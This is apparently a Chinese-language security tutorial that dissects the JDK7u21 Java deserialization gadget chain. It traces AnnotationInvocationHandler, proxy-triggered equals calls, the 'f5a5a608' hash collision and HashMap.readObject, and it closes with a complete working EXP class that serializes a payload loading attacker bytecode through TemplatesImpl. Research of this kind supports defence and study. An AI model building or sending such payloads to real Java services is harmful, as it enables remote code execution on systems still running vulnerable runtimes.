jdk7u21原生反序列化 这条利用链是JDK7u21,它适用于Java 7u21及以前的版本。
漏洞核心 漏洞核心在于sun.reflect.annotation.AnnotationInvocationHandler
的equalsImpl方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError (var12); } } if (!memberValueEquals(var7, var8)) { return false ; } } return true ; } }
在这个方法中,存在一个对方法的反射调用var5.invoke(var1)
,var1来自参数,var5则是遍历this.getMemberMethods()
方法返回的方法数组。
1 2 3 4 5 6 7 8 9 10 11 12 13 private Method[] getMemberMethods() { if (this .memberMethods == null ) { this .memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction <Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this .type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true ); return var1; } }); } return this .memberMethods; }
AnnotationInvocationHandler.this.type.getDeclaredMethods()
会获取当前的type属性的所有方法。对于java自带的类,我们可以优先考虑到TemplatesImpl
链,也就是如果type中仅有触发TemplatesImpl
链的方法,那么就可以用equalsImpl
函数来反射走到TemplatesImpl
链。我们可以用到Templates
接口类,该类的两个方法newTransformer
和getOutputProperties
都可以作为TemplatesImpl
链的触发方法。
利用动态代理调用equalsImpl equalsImpl
在AnnotationInvocationHandler
中作为一个私有方法,我们无法直接去调用,但是,我们可以在AnnotationInvocationHandler
唯一的公共方法,invoke
中调用equalsImpl
。
1 2 3 4 5 6 7 8 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } ...... }
关于如何调用到AnnotationInvocationHandler#invoke
方法其实并不陌生,这是动态代理的基础知识。我们可以构造一个动态代理Proxy
,通过调用这个代理的方法来触发invoke
,不过我们需要通过一次判断,也就是调用这个代理的方法必须是equal
方法,并且需要有一个Object
对象作为参数
可以看到的是,我们给equalsImpl
的参数是调用动态代理方法的第一个参数,那么我们满足的条件是
AnnotationInvocationHandler
的type
属性是Templates
接口类
调用构造的AnnotationInvocationHandler
动态代理的equal
方法
equal
方法的第一个参数是恶意TemplatesImpl
类
可以编写一个简单的demo来完成上面的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class demo { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class" )); byte [][] evilcode = {evil}; Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"cmisl" ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,evilcode); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); HashMap<String, Object> hashMap = new HashMap <>(); hashMap.put("cmisl" ,"cmisl" ); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Templates.class,hashMap); Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, (InvocationHandler) o); ProxyMap.equals(templates); } }
要注意的是jdk7u21
类需要实现AbstractTranslet
接口
1 2 3 4 5 6 7 _class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
在TemplatesImpl#defineTransletClasses
方法中会判断字节码反编译出的恶意类的父类是否等于ABSTRACT_TRANSLET
,其值等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
。
调用代理实例ProxyMap的equals方法 根据上面分析,我们需要调用代理实例ProxyMap
的equals
方法,这个方法每个类都有,用于比较是否相等,来自于所有类的父类Object
。
我们常见的一个场景,在HashMap
的put
方法中,可以看到equals
方法的身影,因为HashMap
是一个类似链表数组的结构,当索引值相等的时候,会在那一个索引下的链表里遍历比较要put
的这个key
和链表中已经存在的key
是否相等,这里就会调用equals
方法去判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
在上面的代码中,索引值是i
,基于hash
值和table.length
值计算,不过table.length
在开始会设置为16,只要我们hashMap
里面元素不超过16个就不会变。因此,我们需要做的就是让hash
值相等。我们来关注一下计算部分的实现代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final int hash (Object k) { int h = 0 ; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
除了k.hashCode()
,其他都是固定的。我们现在要做的就是让,ProxyMap.hashCode()
和templates.hashCode()
相等。而ProxyMap.hashCode()
会自动调用到AnnotationInvocationHandler#invoke
方法,然后在调用到hashCodeImpl
方法。
1 2 3 4 5 6 7 8 9 10 private int hashCodeImpl () { int var1 = 0 ; Map.Entry var3; for (Iterator var2 = this .memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); } return var1; }
会循环遍历当前memberValues
,简化一下式子就是计算每个key
和value
的(127 * key.hashCode()) ^value.hashCode()
,然后累加,如果memberValues
中只有一个key
和一个value
时,该哈希就等于 (127 * key.hashCode())^value.hashCode()
,而如果key.hashCode()
,哈希又可以简化成value.hashCode()
,如果这个value
就是我们构造的恶意TemplateImpl
对象templates
,那么就可以使得ProxyMap.hashCode()
和templates.hashCode()
相等。
所以我们需要的是让memberValues
为一个只有一个键值对,且键的hashCode
等于0,value
为templates
,即可。这个键要等于f5a5a608
,这个memberValues
是我们构造函数传入的hashmap
,不过我们需要提前用其他值占据value的位置,在将ProxyMap
放进了我们的恶意HashMap
后,在替换回来,避免在ProxyMap
放入的过程中,提前调用equals
进入TemplatesImpl
链。
那么我们可以编写一个小demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class demo3 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class" )); byte [][] evilcode = {evil}; Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"cmisl" ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,evilcode); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); HashMap hashMap = new HashMap (); hashMap.put("f5a5a608" ,"cmisl" ); Object o = declaredConstructor.newInstance(Templates.class,hashMap); Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, (InvocationHandler) o); hashMap.put("f5a5a608" ,templates); HashMap evilmap = new HashMap (); evilmap.put(templates,null ); evilmap.put(ProxyMap,null ); } }
另一种方式调用equals方法 在上面介绍了HashMap.put
这个方法,但是这里,我并不打算调用这个方法。在HashMap
的另一个方法——HashMap#putForCreate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void putForCreate (K key, V value) { int hash = null == key ? 0 : hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) { e.value = value; return ; } } createEntry(hash, key, value, i); }
这个方法逻辑与我们HashMap.put
几乎差不多,上面put
能实现的demo用putForCreate
也可以,只是是私有方法,需要反射调用,将上面demo修改一下即可。
1 2 3 4 5 6 7 8 9 evilmap.put(templates,null ); evilmap.put(ProxyMap,null );Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate" , Object.class, Object.class); putForCreate.setAccessible(true ); putForCreate.invoke(evilmap,templates,null ); putForCreate.invoke(evilmap,ProxyMap,null );
为什么我想到用这个方法呢,因为这个方法在HashMap#readObjec
t函数中调用了。我们来看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); Holder.UNSAFE.putIntVolatile(this , Holder.HASHSEED_OFFSET, sun.misc.Hashing.randomHashSeed(this )); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); int initialCapacity = (int ) Math.min( mappings * Math.min(1 / loadFactor, 4.0f ), HashMap.MAXIMUM_CAPACITY); int capacity = 1 ; while (capacity < initialCapacity) { capacity <<= 1 ; } table = new Entry [capacity]; threshold = (int ) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1 ); useAltHashing = sun.misc.VM.isBooted() && (capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD); init(); for (int i=0 ; i<mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putForCreate(key, value); } }
在最后可以看到我们反序列化是会将key
和value
值分别反序列化出来,然后用putForCreate(key, value)
函数将反序列化出来的键值对给添加到HashMap
中。那么就可以直接从反序列化的入口走到equals
。接下来我们编写EXP。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class EXP { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class" )); byte [][] evilcode = {evil}; Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"cmisl" ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,evilcode); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); HashMap hashMap = new HashMap (); hashMap.put("f5a5a608" ,"cmisl" ); Object o = declaredConstructor.newInstance(Templates.class,hashMap); Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, (InvocationHandler) o); hashMap.put("f5a5a608" ,templates); HashMap evilmap = new HashMap (); evilmap.put(ProxyMap,null ); evilmap.put(templates,null ); serialize(evilmap); deserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object deserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
ysoserial
上用的是HashSet
作为入口,更具体一点事LinkedHashSet
,原理其实差不多,从HashSet#readObject
到HashMap#put
。